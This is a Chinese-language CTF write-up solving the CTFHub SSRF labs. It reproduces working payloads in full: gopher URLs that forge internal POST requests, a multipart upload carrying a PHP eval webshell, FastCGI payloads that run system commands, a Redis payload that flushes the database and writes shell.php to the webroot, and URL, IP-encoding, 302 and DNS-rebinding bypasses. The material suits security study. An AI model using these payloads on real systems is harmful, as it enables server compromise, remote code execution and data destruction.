CTFHUB-SSRF
本来要做SSRF-labs结果发现,那个不是我现在可以接触的东西。。。。。。。
只能把CTFHUB上的SSRF打完了,之前还剩一些,都忘了,再打一遍
还是挺简单的
内网访问
打开环境
只有这一串联系题目
直接访问
伪协议读取文件
打开环境
又是一样的情况,联系题目
file:///var/www/html/flag.php
直接读取看看,这里就是要对网站结构熟悉
直接看源代码
他这里没有输出函数,所以不会显示到页面上
端口扫描
打开环境
又是一个德行
再看下题目
这个相当于帮我减小很多工程量了,不然端口得爆到哪年去
这里直接抓包爆就行了,这里要爆的端口是他的内网端口
直接使用dict协议来探测内网端口
但是这里好像不能用dict协议,估计是被ban掉了直接使用ip进行探测也是可以的
可以加上http协议
POST请求
打开环境
6,看下题目
这里调用到curl函数
这里发送的还是post请求
所以上面那个url有啥用
应该是从post请求发才对
这里去看看hosts文件
访问一下这个ip看看
没啥用
emmmm,再尝试一下get的url看看
http://127.0.0.1/flag.php
在尝试访问目录下的flag.php文件的时候发现一个东西
看下源代码这是啥
提交一下这个密钥看看
这里说只要本地的
抓包改一下
把hosts改成127.0.0.1
不是哥们阴成啥了
还好我留了一手看了下源代码
啧,怎么是找到了一个彩蛋的flag
阴成啥了
这里就先去看看index.php和flag.php源代码,读取一下
file:///var/www/html/index.php
再看看flag.php的
这里实际上就是要修改hosts但是好像直接修改发包不算,这里使用gopher协议来发
先构造包
在post请求中Host、Content-Length、Content-Type必不可少,也就是说我们构造包就只要这三个就够了
get的话是可以不要的
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,会进行第二次 URL解码。
点击查看代码
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=89bf435409b7f62268e807015d084f2a
POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=89bf435409b7f62268e807015d084f2a
在第一次编码后的数据中,将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。
POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=89bf435409b7f62268e807015d084f2a
再编码一下
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%3A%2520127.0.0.1%3A80%250D%250AContent-Length%3A%252036%250D%250AContent-Type%3A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%3D89bf435409b7f62268e807015d084f2a
直接使用gopher协议发包
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=89bf435409b7f62268e807015d084f2a
这里解释一下为什么要加上端口号
因为我们要发送给处理http的web服务
而https默认的端口号是443,http默认的端口号才是80而我们发送的是一个post的http请求
所以要加上端口号
这题环境关过,前后的key不一样
上传文件
打开环境
熟悉的感觉,再看下题目
上传一个文件到flag.php
先访问一下看看
直接传个🐎看看
突然发现,不让我传欸
这里本来一开始是想构造gopher协议直接发送
但是这里的包的格式不对,具体长啥样我也不知道,就直接在源代码里面加一个提交的按钮
<input type="submit" name="submit">
呀被过滤了,那就先把包抓下来构造
现在知道包的结构了,等下看看直接发行不行
尝试把代码伪装了一下
结果告诉我这个
看来和上题一样,改一下看看
果然,直接使用gopher发
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Length%253A%2520369%250D%250A%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%25271%2527%255D%2529%253B%253F%253E%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf--%250D%250A
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Length%253A%2520369%250D%250A%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%25271%2527%255D%2529%253B%253F%253E%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf--%250D%250A
FastCGI协议
先来了解一下这个协议
这里附件里面有一篇文章链接
https://blog.csdn.net/mysteryflower/article/details/94386461
这里面把FastCGI协议讲得很清楚的
这里简单总结一下这个协议
FastCGI(如PHP-FPM)处理请求时,会先检查请求的PHP文件在服务器上是否存在。
不存在的话返回404
这里介绍一个工具
Gopherus这个是专门针对gopner协议的一个工具
具体作用看这篇文章
https://blog.csdn.net/weixin_68416970/article/details/139440201
这里已经被明确告知要对FastCGI协议进行攻击
这里有一个检查是否可以进行FastCGI攻击的方法就是看9000端口开没开着
因为PHP-FMP监听9000端口
那可以使用这个工具来生成相应的payload进行攻击
打开环境
这里是只找到了index.php这个界面
其他没有找到
然后再进行二次编码
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527ls%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
这里不需要进行什么%0A的替换了,直接编码就行
就是这个环境有点堪忧
逆天环境,就是少尝试,直接一把做完,不然就会像我一样,血亏50大洋
再看上一级目录
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2504%2500%253C%253Fphp%2520system%2528%2527ls%2520/%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
看见flag了直接cat
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH94%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255E%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/flag_68e01ee6a51992800e7c14a8d2a9f381%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
Redis协议
打开环境
这里也是直接使用工具来生成,自己写太复杂了
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
编码
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%25271%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
直接发
显示504但是我们的shell.php已经写进去了
访问一下看看
有些无法显示的数据
直接传参看看
看一下上一级目录
直接cat
这里来解释一下这个端口号
6379是redis协议默认的一个监听的端口号,在我看来要看能不能进行redis攻击可以看这个端口有没有开放
有些的话还设置了密码用户,这个就需要自己去找
至于为什么使用一句话木马,因为实际上redis是一个数据库
我将这个马存到他数据库里我就可以对他进行操作
当然你也可以传入phpinfo()之类的payload进行攻击,但最方便的就是直接传入一句话木马
<?php phpinfo(); ?>
按理来说是可以的,这里就不再演示了
URL Bypass
题目
直接打开环境
这里用到一个@绕过的方法
这个最终的有效url是@后面的
我们这里可以拿来直接实验一下
这里可以看见可以
直接用
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
题目
打开环境
这里可以看到十进制的被ban了那么可以换成八进制的来做十六进制也行
八进制:0177.000.000.001 十进制:127.0.0.1 十六进制:0x7f000001
这里解释一下为什么可以使用其他进制来做
这种多进制表示的底层机制是数值等价性原理:同一个数值在不同进制下有不同的表现形式,但在计算机内存中的二进制存储完全相同。
这里直接访问
因为实际上ip地址是一个32位的二进制数,最后到识别的时候都会变成二进制,所以可以直接使用来进行绕过
?url=0177.000.000.001/flag.php
302跳转 Bypass
题目
打开环境
直接先访问一手flag.php看看啥情况
这里显示被ban掉了
这里如果要使用到302跳转的话,就需要一个公网IP
这里就需要有一个自己的服务器
<?php header("Location:http://127.0.0.1/flag.php");
这里直接跳转就可以了
http://公网ip(或者域名)/302.php
然后看wp的时候发现还有另外的做法
先看下indexphp的源码
发现了黑名单,这里可以直接使用localhost来绕过
所以这里也可以使用进制来绕过
DNS重绑定 Bypass
附件里面的文章
https://zhuanlan.zhihu.com/p/89426041
这篇文章看完大致也了解了DNS Rebinding漏洞
实际上就是在TTL值缩短,让同一个域名来访问两个不同的IP从而进行恶意攻击
这里打开环境
一样的,直接访问一手flag.php看看啥情况
看下302还有没有用
没有用,看下index.php的源代码
一样的代码,这里我们看看之前的有没有用
发现都没有用
https://lock.cmpxchg8b.com/rebinder.html
这里有一个针对DNS重绑定的网站
因为127是一个回环网段,在大多数情况下访问到的都是localhosts
所以这里可以直接绑定127.0.0.1和127.0.0.2
直接把网址粘贴过来访问flag.php
7f000001.7f000002.rbndr.us/flag.php
这里也有源码提供就在网址上,为了断网也能用建议还是自己本地部署一个
直接打开html文件就能用了
这里再测试一下
对的,可以直接使用